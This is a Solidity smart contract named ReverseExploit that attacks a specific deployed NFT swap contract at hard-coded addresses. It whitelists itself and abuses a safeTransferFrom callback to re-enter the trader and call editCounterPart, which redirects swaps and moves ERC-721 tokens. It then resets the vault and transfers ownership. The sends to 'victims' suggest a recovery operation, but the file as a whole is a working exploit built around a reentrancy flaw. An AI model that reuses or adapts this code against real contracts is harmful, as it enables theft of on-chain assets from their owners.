// File: ReverseExploit.sol



// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.23;

interface IERC721 {
    function setApprovalForAll(address _operator, bool _approved) external;
    function transferFrom(address _from, address _to, uint256 _tokenId) external;
}

enum swapStatus { Opened, Closed, Cancelled }

struct swapStruct {
    address dapp;
    address typeStd;
    uint256[] tokenId;
    uint256[] blc;
    bytes data;
}

// SwapIntent Struct
struct swapIntent {
    uint256 id;
    address payable addressOne;
    uint256 valueOne;
    address payable addressTwo;
    uint256 valueTwo;
    uint256 swapStart;
    uint256 swapEnd;
    uint256 swapFee;
    swapStatus status;
}

interface INFTTrader {
    function createSwapIntent(swapIntent memory _swapIntent, swapStruct[] memory _nftsOne, swapStruct[] memory _nftsTwo) payable external;
    function closeSwapIntent(address _swapCreator, uint256 _swapId) payable external;
    function editCounterPart(uint256 _swapId, address payable _counterPart) external;
    function transferOwnership(address _newOwner) external;
    function setVaultAddress(address _vault) external;
    function setWhitelist(address, bool) external;
    function owner() external returns (address);
}

contract ReverseExploit {
    INFTTrader _nftTrader = INFTTrader(0xC310e760778ECBca4C65B6C559874757A4c4Ece0);

    address private immutable _OWNER;

    swapStruct[] private _nftsOne;
    swapStruct[] private _nftsTwo;
    uint256[] private blc;
    uint256[] _placeholderTokenIds;

    constructor() {
        _OWNER = msg.sender;
    }

    receive() external payable {}
    fallback() external payable {}

    function reclaim(
        swapStruct[] calldata swapStructs,
        uint256 _swapId,
        address[] calldata _targets,
        address[] calldata victims,
        uint256[] calldata tokenIds
    ) external payable {
        if (msg.sender != _OWNER) revert();
        if (swapStructs.length != victims.length || victims.length != tokenIds.length) revert();

        _nftTrader.setVaultAddress(address(this));
        _nftTrader.setWhitelist(address(this), true);

        IERC721(0xC36442b4a4522E871399CD717aBDD847Ab11FE88).setApprovalForAll(address(_nftTrader), true);

        _placeholderTokenIds.push(0);

        swapIntent memory _intent = swapIntent(0, payable(address(0)), 0, payable(address(this)), 0, 0, 0, 0, swapStatus.Opened);

        _nftsTwo.push(swapStruct(
            address(0),
            address(0),
            _placeholderTokenIds,
            blc,
            new bytes(0)
        ));
        _nftsTwo.push(swapStruct(
            address(0),
            address(0),
            _placeholderTokenIds,
            blc,
            new bytes(0)
        ));

        for (uint256 i = 0; i < swapStructs.length; ++i) {
            address _tokenAddress = swapStructs[i].dapp;
            _nftsTwo[0] = swapStruct(
                address(this),
                0x58874d2951524F7f851bbBE240f0C3cF0b992d79,
                _placeholderTokenIds,
                blc,
                abi.encodeWithSelector(INFTTrader.editCounterPart.selector, _swapId, _targets[i])
            );
            _nftsTwo[1] = swapStructs[i];

            _nftTrader.setWhitelist(_tokenAddress, true);
            _nftTrader.createSwapIntent{value: msg.value / 2 / swapStructs.length}(_intent, _nftsOne, _nftsTwo);
            _nftTrader.closeSwapIntent{value: msg.value / 2 / swapStructs.length}(address(this), _swapId);
            _nftTrader.setWhitelist(_tokenAddress, false);

            IERC721(_tokenAddress).transferFrom(address(this), victims[i], tokenIds[i]);

            unchecked { ++_swapId; }
        }

        _nftTrader.setWhitelist(address(this), false);
        _nftTrader.setVaultAddress(0x03aA293F890e53220e10FB867C225B8C2b9f1a03);
        _nftTrader.transferOwnership(0x83Db44123E76503203fDf83D2bE58BE60c15B894);

        payable(msg.sender).call{value: address(this).balance}("");
    }

    function safeTransferFrom(address, address, uint256, bytes memory data) external {
        address(_nftTrader).call(data);
    }

    function executeCall(address[] calldata contractAddresses, bytes[] calldata calls, uint256[] calldata values) external {
        if (msg.sender != _OWNER) revert();

        for (uint256 i = 0; i < contractAddresses.length; ++i) {
            (bool success, ) = contractAddresses[i].call{value: values[i]}(calls[i]);
            if (!success) revert();
        }
    }

    function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    function withdraw() external {
        if (msg.sender != _OWNER) revert();

        payable(msg.sender).call{value: address(this).balance}("");
    }
}